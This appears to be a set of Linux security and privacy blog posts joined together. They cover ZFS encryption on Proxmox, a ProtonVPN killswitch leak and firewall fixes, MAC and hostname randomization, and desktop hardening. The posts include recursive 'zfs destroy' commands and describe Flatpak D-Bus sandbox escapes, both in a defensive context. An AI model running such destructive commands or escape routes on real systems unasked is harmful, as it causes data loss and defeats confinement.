The post also assumes that the Proxmox installation is new and does not have any virtual machines or containers yet.

Encrypting the rpool/ROOT dataset

Proxmox installs its system inside the rpool/ROOT dataset. This is what we will encrypt first.

First, boot into the initramfs. On the startup menu, press e to edit the boot argument. Remove root=ZFS=rpool/ROOT/pve-1 boot=zfs from the argument and press enter.

Load in the zfs kernel module:

modprobe zfs

Next, follow this gist to encrypt the dataset. You do not need to use any sort of live USB or rescue mode, as the initramfs has all that we need. In case it gets moved or deleted, I will copy and paste it here (we will make a few changes to better suit our purposes as well):

# Import the old
zpool import -f rpool

# Make a snapshot of the current one
zfs snapshot -r rpool/ROOT@copy

# Send the snapshot to a temporary root
zfs send -R rpool/ROOT@copy | zfs receive rpool/copyroot

# Destroy the old unencrypted root
zfs destroy -r rpool/ROOT

# Set better ZFS properties
zpool set autoexpand=on rpool
zpool set autotrim=on rpool
zpool set failmode=wait rpool

# Create a new zfs root, with encryption turned on
# OR -o encryption=aes-256-gcm - aes-256-ccm vs aes-256-gcm
zfs create -o acltype=posix -o atime=off -o compression=zstd-3 -o checksum=blake3 -o dnodesize=auto -o encryption=on -o keyformat=passphrase -o overlay=off -o xattr=sa rpool/ROOT

# Copy the files from the copy to the new encrypted zfs root
zfs send -R rpool/copyroot/pve-1@copy | zfs receive -o encryption=on rpool/ROOT/pve-1

# Deviate from the original gist and delete copyroot
zfs destroy -r rpool/copyroot

# Set the Mountpoint
zfs set mountpoint=/ rpool/ROOT/pve-1

# Export the pool again, so you can boot from it
zpool export rpool

Reboot into the system. You should now be prompted for an encryption password.

reboot -f

Encrypting the rpool/data dataset

Next, we need to encrypt the rpool/data dataset. This is where Proxmox stores virtual machine disks.

# Destroy the original dataset
zfs destroy -r rpool/data

Create a diceware passphrase, and save it to /.data.key. Then, continue with:

# Remove all but ASCII characters 
perl -i -pe 's/[^ -~]//g' /.data.key

# Set the appropriate permission
chmod 400 /.data.key

# Make the key immutable
chattr +i /.data.key

# Create a new dataset with encryption enabled
zfs create -o acltype=posix -o atime=off -o compression=zstd-3 -o checksum=blake3 -o dnodesize=auto -o encryption=on -o keyformat=passphrase -o keylocation=file:///.data.key -o overlay=off -o xattr=sa rpool/data

Next, we need to set up a systemd service for automatic unlocking. Put the following inside /etc/systemd/system/zfs-load-key.service:

[Unit]
Description=Load encryption keys
DefaultDependencies=no
After=zfs-import.target
Before=zfs-mount.service

[Service]
Type=oneshot
RemainAfterExit=yes
ExecStart=/usr/sbin/zfs load-key -a

[Install]
WantedBy=zfs-mount.service

Finally, enable the service:

systemctl enable zfs-load-key

Setting Dropbear for remote unlocking (optional)

It is not convenient to type in the encryption password on the console. You might want to set up Dropbear inside of the initramfs to unlock the drive over SSH instead.

First, install the dropbear-initramfs package. Note that we are passing the --no-install-recommends argument here, as we don’t want it to install cryptsetup and give annoying warnings on every initramfs generation.

apt install --no-install-recommends dropbear-initramfs

Next, create /etc/dropbear/initramfs/authorized_keys and put your ssh keys in there.

You may also edit /etc/dropbear/initramfs/dropbear.conf and adjust it however you like. You can find the list of the options here. In my opinion, the default is good enough. Some other blog posts may recommend that you change the port to avoid the ssh fingerprint mismatch warning, but I would recommend using a different subdomain to connect to dropbear instead. That way, you can pin Dropbear’s fingerprint with SSHFP records. I will write a separate post on this later.

Then, edit the /etc/initramfs-tools/initramfs.conf and add the static IP address for it to use. The format is

IP=IP Address::Gateway:Netmask:Hostname

For example:

IP=10.0.0.1::10.0.0.254:255.255.255.0:dropbear.node.domain.tld

One thing to keep in mind is that I have found only IPv4 to be working with this on Debian. If you figure out how to get IPv6 to work, please let me know.

Finally, generate a new initramfs:

update-initramfs -u

You should now be able to ssh into your Dropbear upon reboot. Use zfsunlock to unlock the rpool/ROOT dataset :)

I sent Proton an email regarding this issue in late August 2022 and was told they are working on fixing it, though it will take some time as it requires some architectural changes in how the killswitch works.

The Leak

Ideally, when implementing a killswitch, a VPN client should drop all connections on non-VPN interfaces except when the connection is to the VPN provider’s servers. This is necessary to prevent accidental leaks, at least by unprivileged applications. Unfortunately, the ProtonVPN client does not currently do this.

Effectively, any application that binds to the connected physical interface (as opposed to the VPN’s virtual interface) on your Linux system will expose your actual IP address, regardless of the killswitch state. This is problematic, especially for certain applications like Torrent clients, as they tend to use whatever interfaces they can access (rather than just the default one) to connect to the internet. You can check this with curl:

curl --interface <physical interface> https://ipinfo.io

This will return your actual IP address.

The Workaround

Qubes OS

On Qubes OS, you generally should not have a problem if you use the ProtonVPN client in a ProxyVM. While the same issue still exists within the ProxyVM itself, it is unlikely to manifest as you should not be running any other applications in the same Qube anyways, and apps in an AppVM cannot bind to the public interface of the ProxyVM. I have not observed any leaks from an AppVM behind a ProtonVPN ProxyVM.

General Linux Distributions

On a general Linux distribution, the workaround is to configure OpenVPN manually and setup a killswitch yourself.

Since ProtonVPN does not support IPv6, you should disable it in your kernel settings:

echo 'net.ipv6.conf.all.disable_ipv6=1
net.ipv6.conf.default.disable_ipv6=1
net.ipv6.conf.lo.disable_ipv6=1' | sudo tee /etc/sysctl.d/10-disable-ipv6.conf
sudo sysctl -p

Next, download your OpenVPN configuration files from account.protonvpn.com. In those configuration files, you should see a list of IP addresses and ports of ProtonVPN’s servers.

Finally, set up the VPN killswitch. The rules I posted here are based on this discussion.

Firewalld

sudo firewall-cmd --direct --permanent --add-rule ipv4 filter FORWARD 0 -o tun+ -j ACCEPT
sudo firewall-cmd --direct --permanent --add-rule ipv4 filter FORWARD 0 -i tun+ -j ACCEPT

sudo firewall-cmd --direct --permanent --add-rule ipv6 filter INPUT 0 -j DROP
sudo firewall-cmd --direct --permanent --add-rule ipv4 filter INPUT 0 -i lo -j ACCEPT
sudo firewall-cmd --direct --permanent --add-rule ipv4 filter INPUT 1 -i tun+ -p tcp -j ACCEPT
sudo firewall-cmd --direct --permanent --add-rule ipv4 filter INPUT 1 -i tun+ -p udp -j ACCEPT
sudo firewall-cmd --direct --permanent --add-rule ipv4 filter INPUT 999 -j DROP

sudo firewall-cmd --direct --permanent --add-rule ipv6 filter OUTPUT 0 -j DROP
sudo firewall-cmd --direct --permanent --add-rule ipv4 filter OUTPUT 0 -o lo -j ACCEPT
sudo firewall-cmd --direct --permanent --add-rule ipv4 filter OUTPUT 0 -o tun+ -j ACCEPT

#You will need to add each of the IP address and port with the following command:
sudo firewall-cmd --direct --permanent --add-rule ipv4 filter OUTPUT 1 -p udp -m udp --dport $PORT -d $IP -j ACCEPT

sudo firewall-cmd --direct --permanent --add-rule ipv4 filter OUTPUT 999 -j DROP

sudo firewall-cmd --reload

UFW

sudo ufw default deny incoming
sudo ufw default deny outgoing

#You will need to add each of the IP address and port with the following command:
sudo ufw allow out to $IP port $PORT proto udp

sudo ufw allow out on tun0 from any to any

Note that Ethernet connections can still be tracked via switch ports, and WiFi connections can be broadly localized by access point.

Furthermore, MAC address spoofing and randomization depends on firmware support from the interface. Most modern network interface cards support the feature.

There are three different aspects of MAC address randomization in NetworkManager, each with their own configuration flag:

WiFi scanning

[device]
wifi.scan-rand-mac-address=yes

WiFi connections

[connection]
wifi.cloned-mac-address=<mode>

Ethernet connections

[connection]
ethernet.cloned-mac-address=<mode>

Mode options

random: Generate a new random MAC address every time a connection is activated

stable: Assign each connection a random MAC address that will be maintained across activations

preserve: Use the MAC address already assigned to the interface (such as from macchanger), or the permanent address if none is assigned

permanent: Use the MAC address permanently baked into the hardware

Setting a default configuration

It’s best to create a dedicated configuration file, such as /etc/NetworkManager/conf.d/99-random-mac.conf, to ensure package updates do not overwrite the configuration. In general, I recommend the following:

[device]
wifi.scan-rand-mac-address=yes

[connection]
wifi.cloned-mac-address=random
ethernet.cloned-mac-address=random

This configuration randomizes all MAC addresses by default. These settings can of course be overridden on a per-connection basis.

After editing the file, run sudo nmcli general reload conf to apply the new configuration.

Per-connection overrides

Connection-specific settings take precedence over configuration file defaults. They can be set through nm-connection-editor (“Network Connections”), a DE-specific network settings GUI, nmtui, or nmcli.

Look for “Cloned MAC address” under the “Wi-Fi” or “Ethernet” section:

In addition to the four mode keywords, you can input an exact MAC address to be used for that connection.

For a home or another trusted network, it can be helpful to use stable or even permanent, as MAC address stability can help avoid being repeatedly served a new IP address and DHCP lease (though not all DHCP servers work this way).

For public networks with captive portals (webpages that must be accessed to gain network access), the stable setting can help prevent redirection back to the captive portal after a brief disconnection or roaming to a different access point.

Seeing the randomized MAC address

Activate the connection in question, and then look for GENERAL.HWADDR in the output of nmcli device show. This represents the MAC address currently in use by the interface, whether randomized or not. It is also visible as “Hardware Address” (or similar) in NetworkManager GUIs under active connection details.

$ nmcli device show
GENERAL.DEVICE:                         enp5s0
GENERAL.TYPE:                           ethernet
GENERAL.HWADDR:                         XX:XX:XX:XX:XX:XX

GENERAL.DEVICE:                         wlp3s0
GENERAL.TYPE:                           wifi
GENERAL.HWADDR:                         XX:XX:XX:XX:XX:XX

Remove static hostname to prevent hostname broadcast

sudo hostnamectl hostname "localhost"

An empty (blank) hostname is also an option, but a static hostname of “localhost” is less likely to cause breakage. Both will result in no hostname being broadcasted to the DHCP server.

Disable sending hostname to DHCP server

This configuration will leak your hostname on first connection. Setting a generic or random hostname is strongly recommended if possible.

Due to limitations in NetworkManager, it is not possible to reliably disable sending hostnames by default. This setup is very much a hack.

Due to being leaky, this configuration is virtually useless without also randomizing MAC addresses by default. Your MAC address and hostname will not be correlated starting with the second connection, assuming the first connection used a random MAC address.

Create /etc/NetworkManager/dispatcher.d/no-wait.d/01-no-send-hostname.sh as follows:

#!/bin/sh

if [ "$(nmcli -g 802-11-wireless.cloned-mac-address c show "$CONNECTION_UUID")" = 'permanent' ] \
        || [ "$(nmcli -g 802-3-ethernet.cloned-mac-address c show "$CONNECTION_UUID")" = 'permanent' ]
then
    nmcli connection modify "$CONNECTION_UUID" \
            ipv4.dhcp-send-hostname true \
            ipv6.dhcp-send-hostname true
else
    nmcli connection modify "$CONNECTION_UUID" \
            ipv4.dhcp-send-hostname false \
            ipv6.dhcp-send-hostname false
fi

The script must have specific file permissions and a symlink to take effect:

cd /etc/NetworkManager/dispatcher.d/
sudo chown root:root no-wait.d/01-no-send-hostname.sh
sudo chmod 744 no-wait.d/01-no-send-hostname.sh
sudo ln -s no-wait.d/01-no-send-hostname.sh ./

This script will be automatically triggered on connection events to modify the connection’s dhcp-send-hostname settings. If the connection’s cloned MAC address is explicitly overridden to permanent, the hostname will be sent to the DHCP server on future connections. In all other cases, the hostname will be masked on future connections, so the DHCP server will only see the MAC address.

Verifying proper operation

After initiating first connection with a network:

$ nmcli c show <connection> | grep dhcp-send-hostname
ipv4.dhcp-send-hostname:                no
ipv6.dhcp-send-hostname:                no

<connection> can be the connection name (usually the SSID for WiFi networks) or UUID, obtained from nmcli c show [--active].

Recall that these setting values are set based on the previous connection activation and take effect for the next connection activation.

Sources

• ArchWiki — NetworkManager
• hostnamectl man page
• MAC Address Spoofing in NetworkManager 1.4.0
• NetworkManager.conf man page
• NetworkManager-dispatcher man page
• NetworkManager: Disable Sending Hostname to DHCP Server
• nmcli man page

Before we start…

Some of the sections will include mentions of unofficial builds of packages like linux‑hardened, akmod, hardened_malloc, and so on. These are not endorsements — they are merely to show that you have options to easily obtain and update these packages. Using unofficial builds of packages means adding more parties to trust, and you have to evaluate whether it is worth doing so for the potential privacy/security benefits or not.

During Installation

Drive Encryption

Most Linux distributions have an option within its installer for enabling LUKS full disk encryption. If this option isn’t set at installation time, you will have to backup your data and re-install, as encryption is applied after disk partitioning but before filesystem creation.

By default, cryptsetup does not set up authenticated encryption. If you are configuring partitioning using the command line, you can enable integrity with the --integrity argument.

Encrypted Swap

Consider using encrypted swap or ZRAM instead of unencrypted swap to avoid potential security issues with sensitive data being pushed to swap space. While ZRAM can be set up post-installation, if you want to use encrypted swap, you should set it up while partitioning your drive.

Depending on your distribution, encrypted swap may be automatically set up if you choose to encrypt your drive. Fedora uses ZRAM by default, regardless of whether you enable drive encryption or not.

Privacy Tweaks

NetworkManager Trackability Reduction

Most desktop Linux distributions including Fedora, openSUSE, Ubuntu, and so on come with NetworkManager by default to configure Ethernet and Wi-Fi settings.

wj25czxj47bu6q has detailed guide on trackability reduction with NetworkManager which I highly recommend you check out.

In short, if you use NetworkManager, add the following to your /etc/NetworkManager/conf.d/00-macrandomize.conf:

[device]
wifi.scan-rand-mac-address=yes

[connection]
wifi.cloned-mac-address=random
ethernet.cloned-mac-address=random

Then, restart your NetworkManager service:

sudo systemctl restart NetworkManager

Finally, set your hostname to localhost:

sudo hostnamectl hostname "localhost"

Note that randomizing Wi-Fi MAC addresses depends on support from the Wi-Fi card firmware.

Other Identifiers

There are other system identifiers which you may wish to be careful about. You should give this some thought to see if it applies to your threat model:

Username

Your username is used in a variety of ways across your system. Consider using generic terms like “user” rather than your actual name.

Machine ID

During installation a unique machine ID is generated and stored on your device. Consider setting it to a generic ID.

System Counting

Many Linux distributions send some telemetry by default to count how many systems are using their software. Consider disabling this depending on your threat model.

The Fedora Project offers a “countme” variable to much more accurately count unique systems accessing its mirrors without involving unique IDs. While currently disabled by default, you could add countme=false to /etc/dnf/dnf.conf in case the default changes in the future. On rpm‑ostree systems such as Fedora Silverblue and Kinoite, the countme option can be disabled by masking the rpm-ostree-countme timer.

openSUSE uses a unique ID to count systems, which can be disabled by emptying the /var/lib/zypp/AnonymousUniqueId file.

Zorin OS also uses a unique ID to count systems. You can opt‑out by running sudo apt purge zorin-os-census and optionally holding the package with sudo apt-mark hold zorin-os-census to avoid accidental reinstallation.

snapd (Snap) assigns a unique ID to your installation and uses it for telemetry. While this is generally not a problem, if your threat model calls for anonymity, you should avoid using Snap packages and uninstall snapd. Accidental reinstallation on Ubuntu can be prevented with sudo apt-mark hold snapd.

Of course, this is a non‑exhaustive list of telemetry on different Linux distributions. If you are aware of other tracking mechanisms used by these or other distributions, feel free to make a pull request or discussion post detailing them!

Keystroke Anonymization

You could be fingerprinted based on soft biometric traits when you use the keyboard. The Kloak package could help you mitigate this threat. It is available as a .deb package from Kicksecure’s repository and an AUR package.

With that being said, if your threat model calls for using something like Kloak, you are probably better off just using Whonix.

Application Confinement

Some sandboxing solutions for desktop Linux distributions do exist; however, they are not as strict as those found in macOS or ChromeOS. Software installed with distro package managers (DNF, APT, etc.) typically have no sandboxing or confinement whatsoever. Several projects which aim to tackle this problem are discussed here.

Flatpak

Flatpak aims to be a distribution-agnostic package manager for Linux. One of its main goals is to provide a universal package format which can be used in most Linux distributions. It provides some permission control. With that being said, Flatpak sandboxing is quite weak.

You can restrict applications further by setting Flatpak overrides. This can be done with the command line or by using Flatseal. To deny common dangerous Flatpak permissions globally, run the following commands:

sudo flatpak override --system --nosocket=x11 --nosocket=fallback-x11 --nosocket=pulseaudio --nosocket=session-bus --nosocket=system-bus --unshare=network --unshare=ipc --nofilesystem=host:reset --nodevice=input --nodevice=shm --nodevice=all --no-talk-name=org.freedesktop.Flatpak --no-talk-name=org.freedesktop.systemd1 --no-talk-name=ca.desrt.dconf --no-talk-name=org.gnome.Shell.Extensions
flatpak override --user --nosocket=x11 --nosocket=fallback-x11 --nosocket=pulseaudio --nosocket=session-bus --nosocket=system-bus --unshare=network --unshare=ipc --nofilesystem=host:reset --nodevice=input --nodevice=shm --nodevice=all --no-talk-name=org.freedesktop.Flatpak --no-talk-name=org.freedesktop.systemd1 --no-talk-name=ca.desrt.dconf --no-talk-name=org.gnome.Shell.Extensions

To allow Flatseal to function after applying the overrides above, run the following command:

flatpak --user override com.github.tchx84.Flatseal --filesystem=/var/lib/flatpak/app:ro --filesystem=xdg-data/flatpak/app:ro --filesystem=xdg-data/flatpak/overrides:create

Note that this only helps with lax, high‑level default permissions and cannot solve the low‑level issues like /proc and /sys access or an insufficient seccomp blacklist.

Some sensitive permissions of note:

• --share=network: network and internet access
• --socket=pulseaudio: the PulseAudio socket, grants access to all audio devices (including inputs)
• --socket=session-bus: access to the entire session bus, which can be used to break out of the sandbox by abusing dangerous D‑Buses.
• --socket=system-bus: access to the entire system bus, which can be used to break out of the sandbox by abusing dangerous D‑Buses.
• --device=all: access to all devices (including webcams)
• --talk-name=org.freedesktop.secrets: D‑Bus access to secrets stored on your keychain
• --talk-name=org.freedesktop.Flatpak: D‑Bus access to run flatpak run. This D‑Bus is a sandbox escape.
• talk-name=org.freedesktop.systemd1: D‑Bus access to systemd. This D‑Bus can be used to load in systemd services with arbitary code and run them.
• --talk-name=ca.desrt.dconf: D‑Bus access to dconf. This D‑Bus can be abused to run arbitary commands by changing key bindings.
• --talk-name=org.gnome.Shell.Extensions: D‑Bus access to install and manage GNOME shell extensions. This D‑Bus can be abused to add malicious extensions to GNOME. If an application works natively with Wayland (not running through the XWayland compatibility layer), consider revoking its access to X11 (--nosocket=x11) and the inter‑process communications (IPC) socket (--unshare=ipc) as well.

Many Flatpak apps ship with broad filesystem permissions such as --filesystem=home and --filesystem=host. Some applications implement the Portal API, which allows a file manager to pass files to the Flatpak application (e.g. VLC) without specific filesystem access privileges. Despite this, many of them still declare --filesystem=host.

My strategy to deal with this is to revoke all filesystem access first, then test if an application works without it. If it does, it means the app is already using portals and no further action is needed. If it doesn’t, then I start granting permission to specific directories.

As odd as this may sound, you should not enable (blind) unattended updates of Flatpak packages. If you or a Flatpak frontend (app store) simply executes flatpak update -y, Flatpaks will be automatically granted any new permissions declared upstream without notifying you. Enabling automatic updates with GNOME Software is fine, as it does not automatically update Flatpaks with permission changes and notifies the user instead.

Snap

Snap is another distribution-agnostic package manager with some sandboxing support. It is developed by Canonical and heavily promoted in Ubuntu.

Snap packages come in two variants: classic, with no confinement, and strictly confined, where AppArmor and cgroups v1 are used to facilitate sandboxing. If a snap uses classic confinement (“classic snap”), you are better off installing an equivalent package from your distribution’s repository if possible. If your system does not have AppArmor, then you should avoid Snap entirely. Additionally, most modern systems outside of Ubuntu and its derivatives use cgroups v2 by default, so you have to set systemd.unified_cgroup_hierarchy=0 in your kernel parameters to get cgroups v1 working.

Snap permissions can be managed via the Snap Store or Ubuntu’s custom patched GNOME Control Center.

On Ubuntu, you can replace various .deb packages with strictly confined snaps to minimize the attack surface. Some examples of these packages are the printing stack or ufw:

One caveat with Snap packages is that you only have control over the interfaces declared in their manifests. For example, Snap has separate interfaces for audio-playback and audio-record, but some packages will only declare the legacy pulseaudio interface which grants access to both play and record audio. Likewise, some applications may work perfectly fine with Wayland, but the package maintainer may only declare the X11 interface in their manifest. For these cases, you need to reach out to the maintainer of the snap to update the manifest accordingly.

Firejail

Firejail is another method of sandboxing. As it is a large setuid binary, it has a large attack surface which increase susceptibility to privilege escalation vulnerabilities. Madaidan offers additional details on how Firejail can worsen the security of your device.

If you do use Firejail, Firetools can help to quickly manage application permissions and launch sandboxed applications. Note that Firetools configurations are temporary with no option to save profiles for long‑term use.

Firejail can also confine X11 windows using Xpra or Xephr, something that Flatpak and Snap cannot do. I highly recommend checking out their documentation on X11 sandboxing.

One trick to launch applications with their Firejail profile is to use the sudo firecfg command. This will create a symlink /usr/local/bin/app_name_here pointing to Firejail, which will get used automatically by most .desktop files (which do not specify the absolute paths of their binaries) to use will launch the application through the symlink and have Firejail sandbox them this way. Of course, this is bypassable if you or some other applications launch the application directly from /usr/bin/app_name_here instead.

Mandatory Access Control

Common Linux mandatory access control (MAC) frameworks require policy files in order to force constraints on the system. The two most notable are SELinux (used on Android and Fedora‑based distributions) and AppArmor (used on Debian‑based distributions and most openSUSE variants).

Fedora includes SELinux preconfigured with some policies to confine system daemons (background processes). You should keep it in enforcing mode.

openSUSE gives the choice of SELinux or AppArmor during the installation process. You should stick to the default for each variant (AppArmor for Tumbleweed and SELinux for MicroOS). openSUSE’s SELinux policies are derived from Fedora.

Arch and its derivatives often do not come with a mandatory access control system, and you must manually install and configure AppArmor.

Note that, unlike Android, traditional desktop Linux distributions typically do not have full system Mandatory Access Control policies; only a few system daemons are actually confined.

Making Your Own Policies/Profiles

You can make your own AppArmor profiles, SELinux policies, bubblewrap profiles, and seccomp blacklists to have better confinement of applications. This is an advanced and sometimes tedious task, but there are various projects you could use as reference:

• Krathalan’s AppArmor profiles
• roddhjav’s AppArmor profiles
• noatsecure’s SELinux templates
• Seirdy’s bubblewrap scripts

Securing Linux Containers

If you’re running a server, you may have heard of containers. They are more common in server environments where individual services are built to operate independently. However, you may sometimes see them on desktop systems as well, especially for development purposes.

Docker is one of the most popular container solutions. It does not offer a proper sandbox, meaning there is a large kernel attack surface. You should follow the Docker and OCI Hardening guide to mitigate this problem. In short, there are things you can do like using rootless containers (via configuration changes or Podman), using a runtime which provides a pseudo‑kernel for each container (gVisor), and so on.

Another option is Kata Containers which masquerades virtual machines as containers. Each Kata container has its own kernel and is isolated from the host.

Security Hardening

Ubuntu Pro

If you are using Ubuntu LTS, consider subscribing to Ubuntu Pro. Canonical currently allows up to 5 machines with the free subscription.

You will also gain access to the Canonical Livepatch Service, which provides livepatching for certain kernel variants. Note that the Hardware Enablement (HWE) kernel is not supported.

While livepatching is less than ideal and I still recommend regularly rebooting your computer, it is quite nice to have.

Umask 077

On distributions besides openSUSE, consider changing the default umask for both root and regular users to 077 (symbolically, u=rwx,g=,o=). On openSUSE, a umask of 077 can break snapper and is thus not recommended.

On Ubuntu, the “Software & Update” application will not work properly if the repository lists in /etc/apt/sources.list.d have the 600 permission. You should make sure that they have the 644 permission instead.

The configuration for this varies per distribution, but typically it can be set in /etc/profile, /etc/bashrc, or /etc/login.defs.

Note that, unlike on macOS, this will only change the umask for the shell. Files created by running applications will not have their permissions set to 600.

Microcode Updates

You should make sure your system receives microcode updates to get fixes and mitigations for CPU vulnerabilities like Meltdown and Spectre.

Debian does not ship microcode updates by default, so be sure to enable the non-free repository and install the microcode package.

On Arch Linux, make sure you have the intel-ucode or amd-ucode package installed.

If you are looking to use the GNU Guix distribution, you should absolutely use the Nonguix channel or similar to get microcode updates.

Avoid the Linux-libre kernel at all costs, as they actively block loading binary‑only microcode.

Firmware Updates

Many hardware vendors offer firmware updates to Linux systems through the Linux Vendor Firmware Service. You can download and install updates using the following commands:

# Update metadata
fwupdmgr refresh

# Download and install firmware updates
fwupdmgr update

Some distributions like Debian do not have fwupd installed by default, so you should check for its existence on your system and install it if needed.

Several graphical frontends integrate with fwupd to offer firmware updates (GNOME Software, KDE Discover, Snap Store, GNOME Firmware, Pop!_OS Settings app). However, not all distributions offer this integration by default, so you should check your specific system and set up scheduled update notifications using systemd timers or cron if needed.

Firewall

A firewall may be used to secure connections to your system.

Red Hat distributions (such as Fedora) and openSUSE typically use firewalld. Red Hat maintains extensive documentation about firewalld and its graphical frontend firewall-config.

Distributions based on Debian or Ubuntu typically use the Uncomplicated Firewall (ufw). As the name suggests, it is much less sophisticated than firewalld. One notable missing feature is the ability to apply different firewall rules for different connections (see zones in firewalld).

You could also set your default firewall zone to drop packets. To implement this with firewalld (with the necessary exceptions for IPv6):

firewall-cmd --set-default-zone=drop
firewall-cmd --add-protocol=ipv6-icmp --permanent
firewall-cmd --add-service=dhcpv6-client --permanent
firewall-cmd --reload

On some distributions, it may be possible for applications running as a wheel or sudo user to make firewall changes through polkit. To prevent this, enable firewalld lockdown mode with sudo firewall-cmd --lockdown-on.

These firewalls use the netfilter framework and therefore cannot (without the help of strict mandatory access control) protect against malicious software running privileged on the system, which can insert their own routing rules that sidestep firewalld/ufw.

There are some per‑binary outbound firewalls such as OpenSnitch and Portmaster that you could use as well. But, just like firewalld and ufw, they are bypassable.

If you are using Flatpak packages, you can set an override to block network access. This is not bypassable.

If you are using non‑classic Snap packages on a system that supports proper confinement (both AppArmor and cgroups v1 present), you can use the Snap Store to revoke network permission. This is also not bypassable.

Kernel Hardening

There are several things you can do to harden the Linux kernel, including setting appropriate kernel parameters and blacklisting unnecessary kernel modules. If you are using Kicksecure or Whonix, most of this hardening is included by default. If you are using Debian, you should consider morphing it into Kicksecure.

This section extensively references Madaidan’s Linux Hardening Guide and in the interest of brevity does not repeat all the information contained there. You are strongly encouraged to read through the relevant sections of Madaidan’s guide (linked for convenience).

Runtime Kernel Parameters (sysctl)

See “2.2 Sysctl” in Madaidan’s guide.

Madaidan recommends that you disable unprivileged user namespaces due to the significant attack surface for privilege escalation. However, some software such as Podman and LXC relies on unprivileged user namespaces. If you wish to use such software, do not disable kernel.unprivileged_userns_clone. Note that this setting does not exist in the upstream kernel and is added downstream by some distributions.

On distributions other than Whonix and Kicksecure, you can copy the configuration file from Tommy’s repository.

Boot Parameters

See “2.3 Boot parameters” in Madaidan’s guide. If desired, formal documentation of boot parameters is available upstream.

Copy these parameters into your bootloader’s configuration. On rpm‑ostree distributions, make sure to use rpm-ostree kargs rather than editing GRUB configuration directly.

CPU mitigations

mitigations=auto,nosmt spectre_v2=on spectre_bhi=on spec_store_bypass_disable=on tsx=off kvm.nx_huge_pages=force nosmt=force l1d_flush=on spec_rstack_overflow=safe-ret gather_data_sampling=force reg_file_data_sampling=on

Simultaneous multithreading (SMT) has been the cause of numerous hardware‑level vulnerabilities and is thus disabled here. If the option is available, you should disable SMT/“Hyper‑Threading” in your firmware as well.

Note however that disabling SMT may have a significant performance impact — for this reason the popular linux‑hardened kernel for Arch does not disable SMT by default. Assess your own risk tolerance, and, if you choose to keep SMT enabled, simply remove all occurrences of nosmt and nosmt=force from these parameters.

Kernel

slab_nomerge init_on_alloc=1 init_on_free=1 pti=on vsyscall=none ia32_emulation=0 page_alloc.shuffle=1 randomize_kstack_offset=on debugfs=off oops=panic quiet loglevel=0

Kicksecure does not enforce either module.sig_enforce=1 or lockdown=confidentiality by default as they lead to a lot of hardware compatibility issues; consider enabling these if possible on your system. Additionally, mce=0 is no longer recommended.

Entropy generation

random.trust_cpu=off random.trust_bootloader=off

Some implementations of the RDRAND instruction (by which the CPU offers a random number generator to the OS) have proven to be vulnerable or outright defective. RDRAND is also impossible to audit, being part of the CPU itself.

As a precaution for the integrity of cryptographic operations, the CPU and bootloader should not be used as credited entropy sources. Note that this change will increase boot time.

Further reading:

• systemd: Random Seeds
• Madaidan: RDRAND
• Linux kernel mailing list
• Hacker News discussion
• NixOS discussion (also cites many additional sources)

DMA mitigations

intel_iommu=on amd_iommu=force_isolation efi=disable_early_pci_dma iommu=force iommu.passthrough=0 iommu.strict=1

Direct memory access (DMA) attacks can be mitigated via IOMMU and disabling certain kernel modules. Furthermore, strict enforcement of IOMMU TLB invalidation should be applied so devices will never be able to access stale data contents.

These parameters do not provide comprehensive DMA protection. In early boot (before the kernel has loaded), only the system firmware can enforce IOMMU and thus provide DMA protection. A DMA attack in early boot can patch the kernel in memory to completely undermine these parameters.

Note that disabling the busmaster bit on all PCI bridges during very early boot (efi=disable_early_pci_dma) can cause complete boot failure on certain systems with inadequate resources. Therefore, as always, ensure you have a fallback option to boot into the system whenever modifying any kernel parameters.

Further reading:

• IOMMU Groups, inside and out
• IOMMU introduction
• intel IOMMU driver analysis
• Avoiding gaps in IOMMU protection at boot
• Madaidan: DMA attacks

Kernel Modules

See “2.5.2 Blacklisting kernel modules” in Madaidan’s guide.

On distributions other than Whonix and Kicksecure, you can copy the configuration file from secureblue’s repository into /etc/modprobe.d/.

There are a few things in this config to keep in mind:

• Bluetooth is disabled. Comment out the install bluetooth and install btusb lines to use Bluetooth.
• Thunderbolt is disabled. Comment out the install thunderbolt line to use Thunderbolt devices.
• The cdrom and sr_mod modules are merely blacklisted; they can still be loaded at runtime with modprobe. If you have no intention to ever use CD‑ROM devices, they should be disabled by adding the lines install cdrom /bin/false and install sr_mod /bin/false to the config. (More about how this works on the ArchWiki)
• Apple filesystems are disabled. While generally fine on non‑Apple systems, if you are using an Apple device you must check the filesystem of your EFI partition and comment out the relevant install line, otherwise your Linux install will not boot. For example, comment out the install hfsplus line if your ESP filesystem is HFS+.

Restricting access to /proc and /sys

See “2.4 hidepid” and “2.7 Restricting access to sysfs” in Madaidan’s guide.

Disabling access to /sys without a proper whitelist will lead to various applications breaking. Developing such a whitelist will unfortunately be extremely tedious for most users. Kicksecure, and by extension Whonix, has the experimental proc-hidepid and hide-hardware-info services which do just this. From my testing, these work perfectly fine on minimal Kicksecure installations and both Qubes-Whonix-Workstation and Qubes-Whonix-Gateway.

linux-hardened

Some distributions like Arch Linux offer the linux‑hardened kernel package. It includes hardening patches and more security-conscious defaults.

linux‑hardened disables unprivileged user namespaces (kernel.unprivileged_userns_clone) by default. This may impact some software.

grsecurity

Grsecurity offers a set of kernel patches that attempt to improve security of the Linux kernel. Payment is required, but grsecurity is worth using if you have a subscription.

Hardened Memory Allocator

The hardened memory allocator (hardened_malloc) from GrapheneOS can be used on general Linux distributions, though only for some programs.

On Fedora and Red Hat Enterprise Linux, secureblue provides a Copr repository with both x86_64 and aarch64 architecture support. Divested Computing Group has a similar build for Fedora, but with only x86_64 support. Using secureblue’s repository is recommended, as the Divested repository is known to block certain IP addresses.

On Arch-based systems, hardened_malloc is available through the AUR.

Disabling XWayland

To disable XWayland with GNOME, create /etc/systemd/user/org.gnome.Shell@wayland.service.d/override.conf with the following content:

[Service]
ExecStart=
ExecStart=/usr/bin/gnome-shell --no-x11

Mountpoint Hardening

Consider adding the mount options nodev, noexec, and nosuid to mountpoints which do not need the respective capabilities. Typically, these can be applied to /boot, /boot/efi, and /var. These flags could also be applied to /home and /root, however noexec will prevent applications that require binary execution in those locations from working (including Flatpak and Snap).

It should be noted that noexec is not foolproof and actually quite easy to bypass.

If you use Toolbox, do not set any of these mount options on /var/log/journal. From my testing, the Toolbox container will fail to start if you have nodev, nosuid, or noexec on said directory. If you are on Arch Linux, you probably do not want to set noexec on /var/tmp, as some AUR packages will then fail to build.

Disabling SUID

SUID allows a user to execute an application as the owner of that application, which in many cases is the root user. Vulnerable SUID executables could lead to privilege escalation vulnerabilities.

